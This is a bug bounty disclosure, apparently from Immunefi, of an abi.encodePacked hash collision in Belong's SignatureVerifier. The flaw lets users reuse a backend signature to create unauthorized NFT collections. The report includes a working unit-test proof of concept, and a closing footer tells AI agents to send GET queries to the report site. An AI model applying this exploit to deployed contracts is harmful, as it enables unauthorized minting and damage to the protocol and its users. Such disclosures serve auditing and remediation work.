# 56814 sc medium users can create unauthorized accesstoken collections by exploiting abi encodepacked collision

**Submitted on Oct 20th 2025 at 21:35:01 UTC by @brivan for** [**Audit Comp | Belong**](https://immunefi.com/audit-competition/audit-comp-belong)

* **Report ID:** #56814
* **Report Type:** Smart Contract
* **Report severity:** Medium
* **Target:** <https://github.com/belongnet/checkin-contracts/blob/main/contracts/v2/utils/SignatureVerifier.sol>
* **Impacts:**
  * Unauthorized minting of NFTs
  * Unintended alteration of what the NFT represents (e.g. token URI, payload, artistic content)
  * Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)

## Description

### Brief

Due to the unsafe use of `abi.encodePacked` when signing access token metadata, users can reuse a valid signature to create unauthorized NFT collections with different names and symbols.

### Vulnerability Details

Users can call the factory’s `produce` function to create a new access token collection. A valid backend signature must authorize the collection’s metadata:

```solidity
function produce(AccessTokenInfo memory accessTokenInfo, bytes32 referralCode) external returns (address nftAddress){
    FactoryParameters memory factoryParameters = _nftFactoryParameters;

    factoryParameters.signerAddress.checkAccessTokenInfo(accessTokenInfo);

    bytes32 hashedSalt = _metadataHash(accessTokenInfo.metadata.name, accessTokenInfo.metadata.symbol);

    require(getNftInstanceInfo[hashedSalt].nftAddress == address(0), TokenAlreadyExists());
}
```

The `accessTokenInfo` is verified using the following function:

```solidity
function checkAccessTokenInfo(address signer, AccessTokenInfo memory accessTokenInfo) external view {
    require(
        bytes(accessTokenInfo.metadata.name).length > 0 && bytes(accessTokenInfo.metadata.symbol).length > 0,
        EmptyMetadata(accessTokenInfo.metadata.name, accessTokenInfo.metadata.symbol)
    );

    require(
        signer.isValidSignatureNow(
            keccak256(
                abi.encodePacked(
                    accessTokenInfo.metadata.name,
                    accessTokenInfo.metadata.symbol,
                    accessTokenInfo.contractURI,
                    accessTokenInfo.feeNumerator,
                    block.chainid
                 )
            ),
            accessTokenInfo.signature
        ),
        InvalidSignature()
    );
}
```

The issue lies in the use of `abi.encodePacked`, which causes collision risks when encoding multiple dynamic types (`name`, `symbol`, and `contractURI`). Different concatenations of these fields can result in identical encoded outputs.

As a result, a valid signature authorizing an access token with specific metadata can be reused to create another collection with entirely different values. For example, a signature that authorizes the creation of collection with name `USD Coin` and symbol `USDC` can be used to create a collection with name `USD` and symbol `CoinUSDC` because:

```
abi.encodePacked("USD Coin", "USDC") == abi.encodePacked("USD ", "CoinUSDC")
```

This behavior is confirmed in the provided PoC.

### Impact Details

This issue allows users to use signer's signature to create new access token collections that were not authorized by the signer. This clearly violates two critical impacts listed in the program:

* Unauthorized minting of NFTs
* Unintended alteration of what the NFT represents (e.g. token URI, payload, artistic content)

## Proof of Concept

### Proof of Concept (unit test)

Copy and paste the following unit test in `/test/v2/platform/factory.test.ts`, inside the `Deploy AccessToken` describe:

```js
describe('Deploy AccessToken', () => {
    // ... 
    it('PoC', async () => {
      const { signatureVerifier, factory, validator, alice, signer } = await loadFixture(fixture);

      const nftName = 'AccessToken 1';
      const nftSymbol = 'AT1';
      const contractURI = 'contractURI/AccessToken123';
      const price = ethers.utils.parseEther('0.05');
      const feeNumerator = 500;

      const message = hashAccessTokenInfo(nftName, nftSymbol, contractURI, feeNumerator, chainId);
      const signature = EthCrypto.sign(signer.privateKey, message);
      const info: AccessTokenInfoStruct = {
        metadata: { name: nftName, symbol: nftSymbol },
        contractURI: contractURI,
        paymentToken: NATIVE_CURRENCY_ADDRESS,
        mintPrice: price,
        whitelistMintPrice: price,
        transferable: true,
        maxTotalSupply: BigNumber.from('1000'),
        feeNumerator,
        collectionExpire: BigNumber.from('86400'),
        signature: signature,
      };

      const tx = await factory.connect(alice).produce(info, ethers.constants.HashZero);

      await expect(tx).to.emit(factory, 'AccessTokenCreated');
      const nftInstanceInfo = await factory.nftInstanceInfo(nftName, nftSymbol);
      expect(nftInstanceInfo.nftAddress).to.not.be.equal(ZERO_ADDRESS);

      let secondInfo = info;

      secondInfo.metadata.name = "Access" // @audit notice modified name
      secondInfo.metadata.symbol = "Token 1AT1" // @audit notice modified symbol
      const tx2 = await factory.connect(alice).produce(info, ethers.constants.HashZero);
       await expect(tx2).to.emit(factory, 'AccessTokenCreated');
      const nftInstanceInfo2 = await factory.nftInstanceInfo("Access", "Token 1AT1");
      expect(nftInstanceInfo2.nftAddress).to.not.be.equal(ZERO_ADDRESS);
    });

})
```

(End of report)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://reports.immunefi.com/belong/56814-sc-medium-users-can-create-unauthorized-accesstoken-collections-by-exploiting-abi-encodepacked.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.